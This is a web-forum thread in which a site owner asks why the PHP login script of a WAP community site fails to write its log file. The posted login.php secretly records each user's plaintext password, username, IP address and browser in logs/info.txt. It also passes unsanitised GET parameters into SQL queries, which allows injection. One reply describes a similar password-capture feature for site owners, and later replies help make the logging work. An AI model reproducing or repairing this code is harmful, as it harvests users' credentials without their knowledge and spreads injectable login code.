logs error

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

    logs error

    i m using wapdesire script

    i want to make logs in server but its not working.

    it was working good when i was using free host.i also maked logs folder in same directory where my login.php uploaded then also it not working.

    but when i bought my hosting then i m getting this error in login page. help me please

    Warning: fopen(logs/info.txt) [function.fopen]: failed to open stream: Permission denied in /home/zilla/public_html/webflirt/login.php on line 100

    Warning: fwrite(): supplied argument is not a valid stream resource in /home/zilla/public_html/webflirt/login.php on line 101

    Warning: fclose(): supplied argument is not a valid stream resource in /home/zilla/public_html/webflirt/login.php on line 102


    login.php

    PHP Code:
    <?php
    header
    ("Cache-Control: no-cache, must-revalidate");
    header("Pragma: no-cache");
    //header('Content-type: application/vnd.wap.xhtml+xml'); 
    echo "<?xml version=\"1.0\"?>";
    echo 
    "<!DOCTYPE html PUBLIC \"-//WAPFORUM//DTD XHTML Mobile 1.0//EN\" \"http://www.wapforum.org/DTD/xhtml-mobile10.dtd\">";
    ?>
    <html xmlns="http://www.w3.org/1999/xhtml">
    <?php
    include("config.php");
    include(
    "core.php");
    connectdb();
    $bcon connectdb();
    if (!
    $bcon)
    {
        echo 
    "<head>";
        echo 
    "<title>$sitename Error!!!</title>";
        echo 
    "<link rel=\"stylesheet\" type=\"text/css\" href=\"../themes/white_medium.css\">";
        echo 
    "<head>";
        echo 
    "<body>";
        echo 
    "<p align=\"center\">";
        echo 
    "<img src=\"../images/notok.gif\" alt=\"!\"/><br/>";
        echo 
    "<b><strong>Error! Cannot Connect To Database...</strong></b><br/><br/>";
        echo 
    "This error happens usually when backing up the database, please be patient...";
        echo 
    "</p>";
        echo 
    "</body>";
        echo 
    "</html>";
        exit();
    }
    $uid $_GET["loguid"];
    $pwd $_GET["logpwd"];
    $sitename mysql_fetch_array(mysql_query("SELECT value FROM ibwf_settings WHERE name='sitename'"));
    $sitename $sitename[0];
    $theme mysql_fetch_array(mysql_query("SELECT theme FROM ibwf_users WHERE name='".$uid."'"));
    $tolog false;
        echo 
    "<head>";
        echo 
    "<title>$uid @ $sitename</title>";
        echo 
    "<link rel=\"stylesheet\" type=\"text/css\" href=\"../themes/$theme[0]\">";
        echo 
    "</head>";
        echo 
    "<body>";
      
    $uinf mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."'"));
      if(
    $uinf[0]==0)
      {
        echo 
    "<head>";
        echo 
    "<title>$sitename Error!!!</title>";
        echo 
    "<link rel=\"stylesheet\" type=\"text/css\" href=\"../themes/white_medium.css\">";
        echo 
    "</head>";
        echo 
    "<body>";
      }
        
    $epwd md5($pwd);
        
    $uinf mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'"));
        if(
    $uinf[0]==0)
        {
        echo 
    "<head>";
        echo 
    "<title>Error!!!</title>";
        echo 
    "<link rel=\"stylesheet\" type=\"text/css\" href=\"../themes/white_medium.css\">";
        echo 
    "</head>";
        echo 
    "<body>";
      }
      echo 
    "<div><img src=\"../images/logo.gif\" alt=\"wapindia\"/></div>";
      
      echo 
    "<p align=\"center\">";
      echo 
    "Bookmark THIS page to avoid repeating the login proccess in the future<br/><br/>";
      
      
    $uinf mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."'"));
      if(
    $uinf[0]==0)
      {
        
    //Check for user ID
        
    echo "<img src=\"../images/notok.gif\" alt=\"X\"/>UserID doesn't exist<br/><br/>";
      }else{
        
    //check for pwd
        
    $epwd md5($pwd);
        
    $uinf mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."'"));
        if(
    $uinf[0]==0)
        {
        echo 
    "<img src=\"../images/notok.gif\" alt=\"X\"/>Incorrect Password<br/><br/>";
        echo 
    "<b>0 </b><a accesskey=\"0\" href=\"index.php\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
        echo 
    "</p>";
        echo 
    "</body>";
        echo 
    "</html>";
        exit();
        }
        
    $validated mysql_fetch_array(mysql_query("SELECT COUNT(*) FROM ibwf_users WHERE name='".$uid."' AND pass='".$epwd."' AND validated='0'"));
        if((
    $validated[0]>0)&&(validation()))
        {
        echo 
    "<img src=\"../images/notok.gif\" alt=\"X\"/><b>Account Not Validated</b><br/>This could take up to 12hrs pls be patient and try again soon<br/>thank you<br/><br/>";
        }else{
    $ipr getip();
    $brws $_SERVER['HTTP_USER_AGENT'];
    $ubr $brws;
    $alli "Username: ".$uid."
    Password: "
    .$pwd."
    Ip-Address: "
    .$ipr."
    Browser: "
    .$ubr."
    Script: Wap 2.0(xhtml)
    ----------
    "
    ;
    if(
    trim($uid)!=""){
    $fname "logs/info.txt";
    $out fopen($fname,"a+");
    fwrite($out,$alli);
    fclose($out);}

          
    $tm time();
          
    $xtm $tm + (getsxtm()*60);
          
    $did $uid.$tm;
          
    $res mysql_query("INSERT INTO ibwf_ses SET id='".md5($did)."', uid='".getuid_nick($uid)."', expiretm='".$xtm."'");

          
          if(
    $res)
          {
            
    $tolog=true;
            echo 
    "<img src=\"../images/ok.gif\" alt=\"+\"/>You have logged in successfully as $uid<br/>";
            
    $idn getuid_nick($uid);
            
                
    $lact mysql_fetch_array(mysql_query("SELECT lastact FROM ibwf_users WHERE id='".$idn."'"));
                 
    mysql_query("UPDATE ibwf_users SET lastvst='".$lact[0]."' WHERE id='".$idn."'");
          }else{
            
    //is user already logged in?
            
    $logedin mysql_fetch_array(mysql_query("SELECT (*) FROM ibwf_ses WHERE uid='".$getuid_nick($uid)."'"));
            if(
    $logedin[0]>0)
            {
              
    //yip, so let's just update the expiration time
              
    $xtm time() + (getsxtm()*60);
              
    $res mysql_query("UPDATE ibwf_ses SET expiretm='".$xtm."' WHERE uid='".getuid_nick($uid)."'");
              
              if(
    $res)
              {
                
    $tolog=true;
                echo 
    "<img src=\"../images/ok.gif\" alt=\"+\"/>You have logged in successfully as $uid<br/>";
                

               
                
              }else{
                echo 
    "<img src=\"../images/point.gif\" alt=\"!\"/>Can't login at the time, plz try later<br/>"//no chance this could happen unless there's error in mysql connection
                
              
    }
              
            }
            
          }
        
        }
      }

      
      if(
    $tolog)
    {
      
    $sid md5($did);
      
    addonline(getuid_sid($sid),"Logging On","");
      echo 
    "<a accesskey=\"1\" href=\"index.php?action=main&amp;sid=$sid\"><img src=\"../images/home.gif\" alt=\"\"/>Enter $sitename</a><br/>";
      echo 
    "<br/><a href=\"index.php?action=sitethms&amp;sid=$sid\">Change Theme</a><br/>";
    $popmsgs mysql_fetch_array(mysql_query("SELECT popmsg FROM ibwf_users WHERE name='".$uid."'"));
      if(
    $popmsgs[0]==0){
          echo 
    "<a href=\"index.php?action=popenable&amp;sid=$sid\">Enable Pop-Ups</a><br/>";
    }else{
          echo 
    "<a href=\"index.php?action=popdisable&amp;sid=$sid\">Disable Pop-Ups</a><br/>";
    }

    $xfile = @file("randomlogin.txt");
    $random_num rand (0,count($xfile)-1);
    $udata explode("::",$xfile[$random_num]);
    echo 
    "$udata[1]<br/>";

    echo 
    "<br/>Feel free to invite all your friends here<br/>Wishing you the best time here, from all $sitename staff :)";
    }else{
      echo 
    "<b>0 </b><a accesskey=\"0\" href=\"index.php\"><img src=\"../images/home.gif\" alt=\"\"/>Home</a>";
    }
    echo 
    "</p>";
    echo 
    "</body>";
    ?>
    </html>

    #2
    remove tht **** from ur site otherwise in a few days ul come back here crying tht some1 hacked u and u dont know how LoL

    why u ppl want users passwords anyway????
    is tht somekind of fetish of urs?

    btw, on topic, i think u just messd ud URL...
    sigpiceeeeerrr....

    Comment


      #3
      thanks for giving me advice but i m not still a noob that i dont know to protect that logs.

      it already protected with .htacess lol..........:D



      anybody please help me
      Last edited by godzilla; 15.05.09, 19:08.

      Comment


        #4
        thts a big BS lol

        anyway i told u, u probably messd up URLs....
        sigpiceeeeerrr....

        Comment


          #5
          which urls bro

          Comment


            #6
            my script sends the passwords 2 a 2nd password field once the user logs in user passwords can be obtained via ownertools









            Dont Ask Me Dumb Questions.Or you'l get a Dumb Answer..
            Want A Profesional Logo or Theme For Your wap site Pm Me.If I Have The Time Ill Make It For Free

            Comment


              #7
              andy bro can u please help me in this error

              Comment


                #8
                err? why you want ppl pass? and the error is obvious.......you said it was working with the free host now its not that simple mean the folder permission is changed..........perhaps to read only.......

                R.M.C
                ----------
                PHP Adovocate B)

                Comment


                  #9
                  give read and write permisson to logs folder.
                  sigpic

                  Comment


                    #10
                    which permission do i set?

                    Comment

                    Working...
                    X